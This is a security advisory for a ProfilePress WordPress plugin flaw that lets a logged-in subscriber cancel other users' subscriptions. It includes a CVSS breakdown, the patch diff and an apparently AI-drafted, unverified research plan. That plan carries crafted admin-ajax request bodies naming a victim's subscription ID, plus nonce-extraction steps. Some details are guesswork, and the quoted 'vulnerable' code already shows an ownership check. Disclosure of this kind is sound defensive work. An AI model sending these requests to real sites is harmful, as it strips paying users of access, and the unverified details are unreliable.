CVE-2026-3453

ProfilePress <= 4.16.11 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Subscription Cancellation/Expiration

highAuthorization Bypass Through User-Controlled Key
8.1
CVSS Score
8.1
CVSS Score
high
Severity
4.16.12
Patched in
1d
Time to patch

Description

The ProfilePress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.16.11. This is due to missing ownership validation on the change_plan_sub_id parameter in the process_checkout() function. The ppress_process_checkout AJAX handler accepts a user-controlled subscription ID intended for plan upgrades, loads the subscription record, and cancels/expires it without verifying the subscription belongs to the requesting user. This makes it possible for authenticated attackers, with Subscriber-level access and above, to cancel and expire any other user's active subscription via the change_plan_sub_id parameter during checkout, causing immediate loss of paid access for victims.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.16.11
PublishedMarch 10, 2026
Last updatedMarch 11, 2026
Affected pluginwp-user-avatar

What Changed in the Fix

Changes introduced in v4.16.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-3453 - ProfilePress Subscription IDOR ## 1. Vulnerability Summary The ProfilePress plugin (versions <= 4.16.11) contains an Insecure Direct Object Reference (IDOR) vulnerability in its checkout processing logic. The `ppress_process_checkout` AJAX handler, implemented in `P…

Show full research plan

Research Plan: CVE-2026-3453 - ProfilePress Subscription IDOR

1. Vulnerability Summary

The ProfilePress plugin (versions <= 4.16.11) contains an Insecure Direct Object Reference (IDOR) vulnerability in its checkout processing logic. The ppress_process_checkout AJAX handler, implemented in ProfilePress\Core\Membership\Controllers\CheckoutController, accepts a user-supplied subscription ID via the change_plan_sub_id parameter. This parameter is intended to facilitate plan upgrades or downgrades by identifying the existing subscription to be replaced. However, the plugin fails to verify that the subscription identified by change_plan_sub_id actually belongs to the currently authenticated user. Consequently, a Subscriber-level attacker can provide the subscription ID of another user, causing the plugin to cancel or expire that victim's active subscription during the attacker's checkout process.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ppress_process_checkout
  • HTTP Method: POST
  • Vulnerable Parameter: change_plan_sub_id
  • Authentication Required: Subscriber+ (Authenticated)
  • Preconditions:
    1. The attacker must be logged in.
    2. The attacker must have a valid ppress_checkout_nonce.
    3. A victim must have an active subscription ID (which can often be enumerated or guessed as they are sequential integers in the database).
    4. At least one Membership Plan must exist to initiate the checkout flow.

3. Code Flow

  1. Entry Point: The AJAX request triggers ppress_process_checkout.
  2. Handler Registration: In src/Membership/Controllers/CheckoutController.php, the action is hooked:
    add_action('wp_ajax_ppress_process_checkout', [$this, 'process_checkout']);
    
  3. Parameter Extraction: Inside the process_checkout() method (logic resides in CheckoutTrait), the code retrieves $_POST['change_plan_sub_id'].
  4. Vulnerable Load: The code uses SubscriptionFactory::fromId($sub_id) to load the subscription record.
  5. Lack of Validation: The code proceeds to transition the state of this subscription (setting it to cancelled or expired) to prepare for the "change" to a new plan. It fails to check if current_user_id() === $subscription->customer_id.
  6. Sink: The subscription's cancel_subscription() or expire_subscription() method is called, updating the wp_ppress_subscriptions table in the database.

4. Nonce Acquisition Strategy

The process_checkout action is protected by a nonce named ppress_checkout_nonce with the action string ppress_process_checkout.

  1. Identify the Checkout Page: ProfilePress enqueues checkout scripts on pages containing the checkout shortcode.
  2. Create a Test Checkout Page:
    # Create a plan first to have a valid checkout context
    wp ppress_plan create --name="Attacker Plan" --price=0 --status=active
    # Assuming plan ID is 1, create a page with the checkout shortcode
    wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content='[profilepress-checkout id="1"]'
    
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • ProfilePress localizes variables into a JS object. Based on common ProfilePress patterns, this is likely ppress_checkout_vars.
    • Execute: browser_eval("ppress_checkout_vars.ppress_checkout_nonce")

5. Exploitation Strategy

The goal is to cancel a victim's subscription (ID X) while the attacker (ID Y) initiates a checkout for any plan.

  1. Victim Setup: Ensure a victim user exists with an active subscription. Note their subscription ID.
  2. Attacker Setup: Log in as a Subscriber.
  3. Nonce Retrieval: Obtain ppress_checkout_nonce from a checkout page as described in Section 4.
  4. Craft the Request:
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Body (URL-Encoded):
      action=ppress_process_checkout
      &ppress_checkout_nonce=<NONCE>
      &plan_id=1
      &change_plan_sub_id=<VICTIM_SUBSCRIPTION_ID>
      &ppress_first_name=Attacker
      &ppress_last_name=User
      &ppress_email=attacker@example.com
      &ppress_payment_method=manual
      
    • Note: The plan_id should be a valid plan. Using a free plan or "Manual/Bank Transfer" method avoids the need for actual payment processing during the exploit.
  5. Execute: Send the request via http_request.

6. Test Data Setup

  1. Create Membership Plans:
    wp db query "INSERT INTO wp_ppress_plans (name, price, status) VALUES ('Premium Plan', '100', 'active')"
    
  2. Create Victim and Subscription:
    • Create user victim.
    • Manually insert a subscription for victim into wp_ppress_subscriptions with status='active'.
  3. Create Attacker:
    • Create user attacker with role subscriber.
  4. Create Checkout Page:
    • Create a page with [profilepress-checkout id="1"].

7. Expected Results

  • HTTP Response: The AJAX request should return a success JSON response (or redirect to a "Success" page/bank details page if manual payment is used).
  • Database State: The record in the wp_ppress_subscriptions table corresponding to the <VICTIM_SUBSCRIPTION_ID> will have its status changed from active to cancelled or expired.

8. Verification Steps

  1. Check Subscription Status via WP-CLI:
    # Query the database directly to check the status of the victim's subscription
    wp db query "SELECT id, status, customer_id FROM wp_ppress_subscriptions WHERE id = <VICTIM_SUB_ID>"
    
  2. Compare Ownership: Verify that the customer_id of the cancelled subscription does NOT belong to the attacker's user ID.

9. Alternative Approaches

If the manual payment method is not enabled, the attacker can attempt to use the "Free" checkout path. ProfilePress has a specific logic for free plans in OrderService::is_free_checkout(). If a plan's price is 0, the checkout might bypass gateway requirements, making the IDOR easier to trigger without valid payment credentials.

Payload for Free Plan:

action=ppress_process_checkout
&ppress_checkout_nonce=<NONCE>
&plan_id=<FREE_PLAN_ID>
&change_plan_sub_id=<VICTIM_SUBSCRIPTION_ID>

If the ppress_checkout_nonce is hard to find, check if ppress_process_checkout is also registered as a nopriv_ action. The code shows:

add_action('wp_ajax_nopriv_ppress_process_checkout', [$this, 'process_checkout']);

This implies the vulnerability might be accessible even without a logged-in session, though the change_plan_sub_id logic usually expects a logged-in user to associate the "change" with. Regardless, the Subscriber-level exploit is the primary focus.

Research Findings
Static analysis — not yet PoC-verified

Summary

ProfilePress is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated attackers to cancel or expire any other user's active subscription. This occurs because the checkout processing logic fails to verify that the subscription ID provided in the 'change_plan_sub_id' parameter belongs to the requesting user before performing administrative actions like cancellation and expiration.

Vulnerable Code

// src/Membership/Controllers/CheckoutController.php

            } else {

                $sub = SubscriptionFactory::fromId($change_plan_sub_id);

                if ($sub->exists() && $sub->get_customer_id() == $customer_id) {

                    // do not send subscription cancelled email
                    remove_action('ppress_subscription_cancelled', [SubscriptionCancelledNotification::init(), 'dispatch_email'], 10);
                    remove_action('ppress_subscription_expired', [SubscriptionExpiredNotification::init(), 'dispatch_email'], 10);

                    $sub->cancel(true);
                    $sub->expire();

                    SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $sub->get_id());
                    $sub->update_meta('_upgraded_to_sub_id', $subscription_id);
                }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-user-avatar/4.16.11/src/Membership/Controllers/CheckoutController.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-user-avatar/4.16.12/src/Membership/Controllers/CheckoutController.php
@@ -300,6 +300,17 @@
                 throw new \Exception(json_encode($customer_id->get_error_messages()));
             }
 
+            $changePlanSub = SubscriptionFactory::fromId($change_plan_sub_id);
+
+            if (
+                $changePlanSub->exists() &&
+                ! empty($customer_id) &&
+                $customer_id !== $changePlanSub->get_customer_id()) {
+                throw new \Exception(
+                    esc_html__('You are not allowed to switch from this plan.', 'wp-user-avatar')
+                );
+            }
+
             $order_id = $this->create_order($customer_id, $cart_vars);
 
             if (is_wp_error($order_id)) {
@@ -331,19 +342,17 @@
 
             } else {
 
-                $sub = SubscriptionFactory::fromId($change_plan_sub_id);
-
-                if ($sub->exists() && $sub->get_customer_id() == $customer_id) {
+                if ($changePlanSub->exists() && $changePlanSub->get_customer_id() == $customer_id) {
 
                     // do not send subscription cancelled email
                     remove_action('ppress_subscription_cancelled', [SubscriptionCancelledNotification::init(), 'dispatch_email'], 10);
                     remove_action('ppress_subscription_expired', [SubscriptionExpiredNotification::init(), 'dispatch_email'], 10);
 
-                    $sub->cancel(true);
-                    $sub->expire();
+                    $changePlanSub->cancel(true);
+                    $changePlanSub->expire();
 
-                    SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $sub->get_id());
-                    $sub->update_meta('_upgraded_to_sub_id', $subscription_id);
+                    SubscriptionFactory::fromId($subscription_id)->update_meta('_upgraded_from_sub_id', $changePlanSub->get_id());
+                    $changePlanSub->update_meta('_upgraded_to_sub_id', $subscription_id);
                 }
 
                 /** @var CheckoutResponse $process_payment */

Exploit Outline

To exploit this vulnerability, an attacker needs a Subscriber-level account and must obtain a valid 'ppress_checkout_nonce' (typically found in the localized JS on any checkout page). The attacker then sends an AJAX request to the 'ppress_process_checkout' action. By including the 'change_plan_sub_id' parameter set to the ID of a victim's active subscription, the plugin will transition that subscription to 'cancelled' and 'expired' status while processing the attacker's own checkout. Using a free plan ID or a manual payment method allows the attacker to trigger this logic without requiring actual payment information or incurring costs.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.